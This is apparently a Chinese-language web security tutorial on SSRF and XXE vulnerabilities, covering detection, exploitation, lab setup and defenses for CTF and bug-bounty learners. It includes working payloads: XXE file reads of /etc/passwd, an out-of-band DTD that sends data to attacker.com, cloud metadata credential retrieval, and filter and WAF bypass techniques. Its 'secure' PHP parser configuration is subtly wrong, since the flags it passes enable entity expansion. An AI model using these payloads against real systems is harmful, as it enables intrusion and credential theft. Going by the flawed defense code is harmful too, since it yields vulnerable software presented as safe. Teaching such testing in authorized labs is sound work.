ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

Web安全实战:SSRF与XXE漏洞挖掘与防御指南

Web安全实战:SSRF与XXE漏洞挖掘与防御指南

1. 项目概述:Web安全工程师的必修漏洞课

作为刚入行的网络安全从业者,SSRF(服务端请求伪造)和XXE(XML外部实体注入)是必须掌握的两大高危漏洞类型。去年某大型电商平台就因SSRF漏洞导致内网敏感数据泄露,而某政务系统曾因XXE漏洞被攻击者读取服务器配置文件。这两个漏洞在OWASP Top 10中常年榜上有名,但很多新手在实际漏洞挖掘中往往不得要领。

本实战指南将用靶场环境演示如何系统性地发现和利用这两类漏洞。不同于市面上零散的教程,我会从漏洞原理、检测手法、利用技巧到防御方案进行全链条解析,特别适合准备参加CTF比赛或刚接触SRC漏洞挖掘的新手。所有实验均基于合法授权的测试环境,请严格遵守网络安全法律法规。

2. 漏洞原理深度解析

2.1 SSRF漏洞工作机制

SSRF的本质是服务端未对用户提供的URL参数进行严格校验,导致攻击者可以操纵服务器发起任意网络请求。典型的攻击场景包括:

  • 访问内网服务(如Redis、Jenkins等未授权接口)
  • 云环境元数据窃取(如AWS的169.254.169.254)
  • 端口扫描内网资产
  • 与其它漏洞形成链式攻击

关键危险函数包括:

# 高危代码示例 requests.get(user_input_url) file_get_contents($_GET['url'])

2.2 XXE漏洞形成条件

XXE漏洞源于XML解析器对外部实体的不当处理,主要攻击方式有:

  • 读取任意文件(file://协议)
  • 发起SSRF请求(http://协议)
  • 拒绝服务攻击( Billion Laughs攻击)
  • 端口扫描(结合SSRF特性)

以下PHP代码是典型漏洞案例:

$xml = <<<XML <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root>&xxe;</root> XML; $data = simplexml_load_string($xml);

3. 实战环境搭建

3.1 推荐靶场配置

建议使用Docker快速搭建实验环境:

# 启动WebGoat靶场 docker run -d -p 8080:8080 webgoat/webgoat # 启动XXE实验室 docker run -d -p 8000:80 xxe-lab

3.2 必备工具清单

工具名称用途安装命令
Burp Suite流量拦截分析官网下载社区版
OWASP ZAP自动化扫描apt install zaproxy
GopherusSSRF Payload生成git clone https://github.com/tarunkant/Gopherus
XXEinjectorXXE自动化利用gem install xxeinjector

4. SSRF漏洞挖掘实战

4.1 基础检测方法

  1. 修改URL参数为内网地址(如127.0.0.1)
  2. 尝试不同协议(file://, gopher://, dict://)
  3. 测试域名重绑定漏洞(使用burp collaborator)

典型Payload:

http://example.com/api?url=http://169.254.169.254/latest/meta-data/

4.2 高级绕过技巧

当遇到基础防护时,可尝试:

  • IP地址编码(十进制、十六进制)
  • 短网址跳转
  • DNS重绑定攻击
  • 利用URL解析差异
# IP编码示例 原始IP:192.168.1.1 十进制:3232235777 十六进制:0xC0A80101

5. XXE漏洞利用实战

5.1 基础文件读取

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user>&xxe;</user>

5.2 带外数据外传

当遇到无回显场景时:

<!DOCTYPE test [ <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> %dtd; ]>

evil.dtd内容:

<!ENTITY % payload SYSTEM "file:///etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%payload;'>"> %param1;

6. 组合漏洞利用案例

6.1 SSRF+XXE链式攻击

通过XXE触发SSRF访问内网服务:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/"> ]> <data>&xxe;</data>

6.2 云环境渗透实战

  1. 通过SSRF获取AWS元数据
  2. 提取临时凭证
  3. 使用AWS CLI操作云资源
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

7. 防御方案设计

7.1 SSRF防护要点

  • 建立URL白名单机制
  • 禁用非常用协议(如gopher://)
  • 使用网络隔离策略
  • 对响应内容进行过滤

Java示例:

// 使用Apache HttpClient的校验方法 URI uri = new URI(url); if(!uri.getHost().endsWith(".trusted.com")) { throw new SecurityException("Invalid host"); }

7.2 XXE防护方案

  • 禁用DTD和外部实体
  • 使用安全的XML解析器

PHP安全配置:

libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);

8. 实战经验与避坑指南

  1. 遇到WAF时尝试:

    • 改变参数位置(从GET改为POST)
    • 使用非常见Content-Type
    • 分块传输编码
  2. 企业SRC挖掘技巧:

    • 重点关注文件上传、API接口功能点
    • 注意新旧系统交接处的参数传递
    • 测试Webhook回调功能
  3. CTF比赛常见套路:

    • 考察SSRF的协议利用(如gopher打Redis)
    • XXE与文件上传结合
    • 盲注型XXE的利用

重要提示:所有测试必须获得书面授权,未经授权的测试可能构成违法行为。建议在CTF靶场或自己搭建的环境中进行练习。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进